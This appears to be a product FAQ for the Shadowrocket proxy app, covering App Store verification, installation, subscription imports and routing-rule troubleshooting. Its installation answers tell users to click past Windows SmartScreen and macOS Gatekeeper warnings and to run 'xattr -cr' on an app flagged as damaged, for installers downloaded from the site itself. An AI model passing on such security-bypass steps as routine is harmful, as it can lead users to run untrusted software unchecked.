Official Manual · FAQ

Shadowrocket FAQ

Find the answer that matches your device and issue, then expand it for the steps. These instructions assume you already have your own subscription or server details. Find installers on the all-platforms download page, and see the user guide for the full import process.

Getting the App: Verify and Purchase

First, distinguish how to get the app, which account made the purchase, and whether a server service is active. Check storefront availability, app purchase history, and server status separately.

Can I use Shadowrocket on a computer or Android? How does pricing work?

Yes. Shadowrocket is free for Mac (Apple silicon and Intel), Windows, Android, and Linux. The iPhone and iPad app is available on the App Store for a one-time $2.99 purchase; the final price depends on the storefront. Desktop and Android installers are available from this site at /dl/shadowrocket/. Choose your device on the all-platforms download page. An App Store purchase on a mobile device is not a desktop installation step. See the installation section below for guidance on system prompts the first time you open the app.

How can I verify Shadowrocket on the App Store?

Open the App Store product page linked on this site and check the app name, Shadowrocket; the developer, Shadow Launch Technology Limited; the app ID, 932747118; and the official icon. Don’t rely on similar names or search terms alone. The iPhone and iPad app costs a one-time $2.99; the Mac, Windows, Android, and Linux versions are free. The currency and final price depend on the current storefront. Check the App Store page for system requirements.

Can’t find Shadowrocket in the App Store? Check this first

Check the country or region of the Apple ID currently signed in to the App Store, not your device’s language or location. The app isn’t available on the China mainland App Store. On your device, go to Settings, then Apple Account, Media & Purchases, View Account, and Country/Region; labels may vary by system version. If you need to change your region, follow Apple’s account settings process and review how it may affect your balance, existing subscriptions, and payment method. Not finding the app doesn’t necessarily mean it’s no longer available.

Do I need to buy Shadowrocket again when switching from iPhone to iPad?

You can redownload Shadowrocket on an iPhone or iPad using the purchase history for the same account. Sign in to the App Store with the Apple ID used for the original purchase, then check your app purchase history. If you still see a purchase button, check the account and storefront before paying again. The iPhone and iPad app costs a one-time $2.99; the Mac, Windows, Android, and Linux versions are free. Redownloading the app won’t restore your server list, so back up your Config and existing subscription details separately before switching devices.

Why do I need server details after buying the app?

A one-time app purchase is not a service plan. Shadowrocket stores server details, connects to servers, and handles traffic according to rules; the app itself doesn’t provide a server. Get a subscription link from your service provider, or use server details you already have. This site does not provide, sell, or recommend servers or subscriptions. The iPhone and iPad app costs a one-time $2.99 on the App Store; the Mac, Windows, Android, and Linux versions are free. Neither price tier indicates how long a server is available or whether it is working.

Open the App Store product page to verify · See the full app verification steps

Setup & Permissions

Choose an installer for your system. If it’s blocked, first check the source and type of prompt, then follow the steps for that system. Don’t treat every warning as the same issue.

Which Mac version should I download: Apple silicon or Intel?

On your Mac, open the Apple menu and select About This Mac. Choose the Apple silicon version if the details identify an Apple chip; choose the Intel version if they identify an Intel processor. The download page lists both options equally, so there’s no need to guess based on the Mac’s appearance or purchase date. If macOS says it can’t verify the developer, first confirm that the file came from this site’s download page, then go to Privacy & Security in System Settings and select Open Anyway when prompted. If macOS says the app is damaged, follow the steps in the next answer.

Windows SmartScreen warns that the app may be risky. How do I continue installation?

First, make sure you got the installer from this site’s all-platforms download page at /dl/shadowrocket/. When Windows SmartScreen displays a protection warning, select More info, check the file you’re about to run, then select Run anyway and follow the installer. Don’t leave system protection turned off to install the app. If your device is managed by your workplace or school, you may not have permission to allow the installer; ask your administrator. If another security app displays the warning, check its specific reason for blocking the file.

Mac says the developer can’t be verified or the app is damaged. What should I do?

First, confirm the installer came from this site’s download page and that you chose the right chip version. If macOS says it can’t verify the developer, try opening the app once, then go to Privacy & Security in System Settings, find the alert, and select Open Anyway. If the app is in Applications and macOS says it’s damaged, run xattr -cr /Applications/Shadowrocket.app in Terminal, then try again. This command removes extended attributes from the specified app. Run it only on this app after confirming its source; don’t apply it to an entire directory.

What system prompts should I expect when installing on Android or Linux?

Download installers from this site’s download page. On Android, follow the system prompts and allow your browser or file manager to install unknown apps only for this installation; you can turn off that permission afterward. Check that your device supports the arm64 installer. On Linux, choose deb, rpm, or AppImage for your distribution. AppImage files need execute permission before you run them. If the system blocks the installer, check its source and the specific prompt instead of disabling device-wide security. See the installation permissions table on the download page for commands.

How do I update Shadowrocket, and what should I save first?

On iPhone and iPad, check the App Store for updates; automatic installation depends on your system’s app update settings. On Mac, Windows, Android, and Linux, get the appropriate installer from this site’s download page and follow the system prompts. Before updating, save your current Config, manually entered server details, and subscription information. If the connection is unstable, disconnect before proceeding. Updating the app and updating Subscribe content are separate: the first replaces the app, while the second refreshes the server list returned by your provider.

See the installation permissions table · Choose a download for your device

Subscription and Server Imports

First identify what you have: a Subscribe link, individual server details, or shared configuration text. Each requires a different option in the app.

Where do I enter an existing subscription link?

Get the subscription link from your service provider. In Home, use the add option and select Subscribe. Enter a recognizable name and the complete link in the fields shown, save it, then update and check the list for servers. Don’t split a subscription link into an address and port for Add Server; the two options handle different types of information. After importing, select an item and run Connectivity Test before connecting. Links may contain access credentials, so don’t post them publicly or include them in an uncropped screenshot.

Subscribe import failed or the list is empty after updating. How do I troubleshoot it?

First, make sure you copied the entire link, including parameters after the question mark, capitalization, and the final character. Remove extra spaces and line breaks. Then check whether your current network can retrieve the subscription and whether the link has expired. A login page or error message is not a valid server list. If the existing list still works, keep a backup instead of repeatedly deleting and recreating it. Ask your provider to confirm the link’s status, format, and compatibility with the app. Note the error message, but don’t share the complete link publicly.

Should I use Add Server, Scan QR Code, or clipboard import?

Use Add Server when you have server details. Select the correct protocol Type, then enter the address, port, authentication, and transport fields required by that protocol. Use Scan QR Code for an existing configuration QR code, and allow camera access when prompted. For shared configuration text, use the clipboard import option in the current interface. After importing, open the entry and check its details; a QR code or shared text doesn’t prove the settings are valid. Don’t guess TLS, Server Name, or other server-side fields from memory.

How often should I update a subscription? Will an update overwrite manual changes?

Update frequency depends on whether your provider changes its servers and on the update settings currently available in the app. There’s no need to refresh repeatedly just to test a connection. Updating Subscribe retrieves the remote content again, so subscription-managed entries may be added, removed, or changed. Keep a separate record of manual changes you need to preserve, and distinguish them from subscription content. After updating, check the item count and names, then run Connectivity Test. If an update fails, troubleshoot subscription retrieval before changing all your connection settings.

How should I organize multiple subscriptions, manual servers, and backups?

Give each Subscribe entry a name that identifies its purpose, and keep separate records for manually entered servers and subscription entries. Before cleaning up, check which group contains the entry you’re using. Deleting a server entry is not the same as removing an entire subscription; afterward, check that other groups are still there. Back up server details, subscription links, and Config—not just a screenshot of the list. Exported files and shared text may contain passwords or other credentials, so store them securely. After restoring, test a small number of entries before deleting copies from the old device.

Read the subscription and server management manual

Rules and Connection Troubleshooting

The connection switch, server reachability, and rule matching are separate layers. Check the basic network and permissions first, then the server, and finally Config. Avoid changing several things at once so you can compare results.

The Home connection switch won’t turn on or turns off right away. What should I do?

First, make sure you’ve selected a server with complete settings. The first connection on iPhone or iPad requires permission to add a VPN configuration; complete any verification requested by the system. If you previously denied permission, try connecting again and check the system prompt. In Settings, check VPN & Device Management for the relevant configuration, and make sure another VPN connection isn’t already active. Managed devices may restrict adding configurations. Don’t rapidly toggle the switch. Note any alerts or error messages, then determine whether the issue is permission, configuration, or server reachability.

Connected, but web pages won’t load. What should I check, and in what order?

Disconnect Shadowrocket and confirm the device’s regular network can reach everyday websites. Reconnect, then run Connectivity Test for the selected server. A successful test only means that test received a response; it doesn’t confirm that authentication, DNS, or all destinations are working. Next, check the address, port, authentication details, TLS, and system time. Then review Global Routing and confirm the active Config is as expected. Change one setting at a time and test again. If only certain domains fail, check DNS and the rules they match before reinstalling the app.

Which Global Routing mode should I use: Config, Proxy, or Direct?

For everyday rule-based routing, use Config and make sure the intended configuration is enabled. Proxy routes traffic handled by the app through the proxy and can help with short-term comparisons during troubleshooting. Direct provides a direct-connection comparison. These modes aren’t speed settings and don’t indicate server quality. Rules in Config are matched from top to bottom; processing stops at the first match. Put FINAL at the end as the fallback. After troubleshooting, restore your usual mode so temporary test settings don’t become your permanent configuration.

How can I tell whether a rule isn’t working or a server is timing out?

For a rule issue, check that Global Routing is set to Config and that you edited the active configuration. Save it and check rule order; a broad rule near the top may match before a more specific rule below it. For a timeout, check the server with Connectivity Test, verify the address, port, protocol, and transport settings, and confirm the device’s date and time are set automatically. If the test succeeds but a specific destination still fails, check the connection log to see which policy matched. A latency result doesn’t replace testing the actual service you need to access.

The interface is in English. How can I find the right options?

Use the names shown in the interface: Home is for selecting a server and controlling the connection; Add Server is for entering server details manually; Subscribe is for saving an existing subscription; Config is for configuration files; Global Routing selects how traffic is handled; and Settings contains app settings. Option locations may vary across systems and interface versions, so look for the same labels rather than relying on their position in a screenshot. Start by completing one import and connection test, then adjust rules gradually. Avoid changing several unfamiliar settings at once.

Battery use increased after connecting. Should I keep On Demand enabled?

Battery use can be affected by traffic, signal strength, protocol, repeated reconnections, and background activity; enabling a VPN alone doesn’t identify the cause. Compare similar usage periods in the system battery statistics, avoid repeated speed tests and subscription refreshes, and check for ongoing connection failures and retries. On Demand triggers connections under configured conditions; it isn’t a battery-saving switch. Set it up only if you need automatic connections, and check the trigger conditions. If you don’t need a connection for now, turn it off and observe battery use while keeping other network and usage conditions similar.

Review the complete setup steps · See the timeout troubleshooting steps · See how rule order works